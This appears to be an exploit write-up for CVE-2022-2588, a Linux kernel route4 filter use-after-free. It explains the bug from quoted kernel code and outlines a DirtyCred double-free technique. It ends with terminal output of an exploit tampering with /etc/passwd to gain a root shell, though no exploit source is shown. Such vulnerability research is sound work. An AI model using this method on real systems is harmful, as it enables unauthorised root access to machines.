# CVE-2022-2588
# The fix
The bug is fixed in Linux v5.19 by this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9ad36309e2719a884f946678e0296be10f).
# The bug
The bug was introduced in Linux v3.17 by this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1109c00547fc66df45b9ff923544be4c1e1bec13) back to 2014. It requires `User Namespaces` to trigger. This bug is very similar to [CVE-2021-3715](https://access.redhat.com/security/cve/cve-2021-3715), which was caused by improper operation on the `route4_filter`'s linked list. More details of CVE-2021-3715 could be found at [the blackhat talk](https://zplin.me/talks/BHEU21_trash_kernel_bug.pdf) (page 16). The following is some brief details of CVE-2022-2588.
The following shows some important code snippets of function `route4_change` for understanding CVE-2022-2588.
```c
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
```
The function is implemented to initialize/replace `route4_filter` object. The filter uses `handle` as an unique id to distinguish between each filter. If there exists a handle that has been initialized before (i.e. the `fold` variable is not null), it will update the filter by removing the old filter and adding a new filter, otherwise, it will just add a new filter.
In [0], kernel allocate the `route4_filter` object. In [1], if fold is not empty, which means there exists a filter with the same handle, it will copy some information to the new filter and initialize the new filter in [2], then insert the new filter to the list in [3]. If the old filter exists, it gets removed from list in [4] and gets freed in [6].
The bug happens in [4], which checks whether there exists an old filter to be removed. The condition ensures that the handle shouldn't be zero and it should match with the new filter's handle. This condition doesn't align with the condition of freeing the filter in [6], which only checks if the old filter exists. Therefore, if users create a filter whose handle is 0, then trigger the replacement of it, the filter will not be unlinked in [4] but gets freed in [6] since their condition isn't the same.
# The exploitation
Since this bug is similar to CVE-2021-3715, their primitives are nearly the same. Readers could refer to the [the blackhat talk](https://zplin.me/talks/BHEU21_trash_kernel_bug.pdf) for more detailed description of primitives. This write-up shows the exploitation with the idea of [DirtyCred](https://zplin.me/papers/DirtyCred-BH22-Zhenpeng.pdf).
Since the freed `fold` is still on the linked list after triggering the bug, we could free the `fold` once again, which eventually will cause a double free on the `route4_filer` object and `route4_filter->exts.action` object if `CONFIG_NET_CLS_ACT` is enabled.
The exploit codes utilize those two double-free capabilities to demonstrate the attack on [task credentials](https://www.kernel.org/doc/Documentation/security/credentials.txt) (utilizing kmalloc-192 double free, to be coming) and [open file credentials](https://www.kernel.org/doc/Documentation/security/credentials.txt) (utilizing kmalloc-256 double free).
## Attacking file credential
Following the idea of [DirtyCred](https://zplin.me/papers/DirtyCred-BH22-Zhenpeng.pdf), the exploit code swaps the file credential after the permission checks, so we could write any content to files with read permission. Ideally, the code could work across all kernel versions affected by the bug. It is noted that in order to make sure the code will work on older kernels where `msg_msg` is isolated in `kmalloc-rcl-*`, the exploit uses a different spray object.
```bash
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
```
Unavailable Comments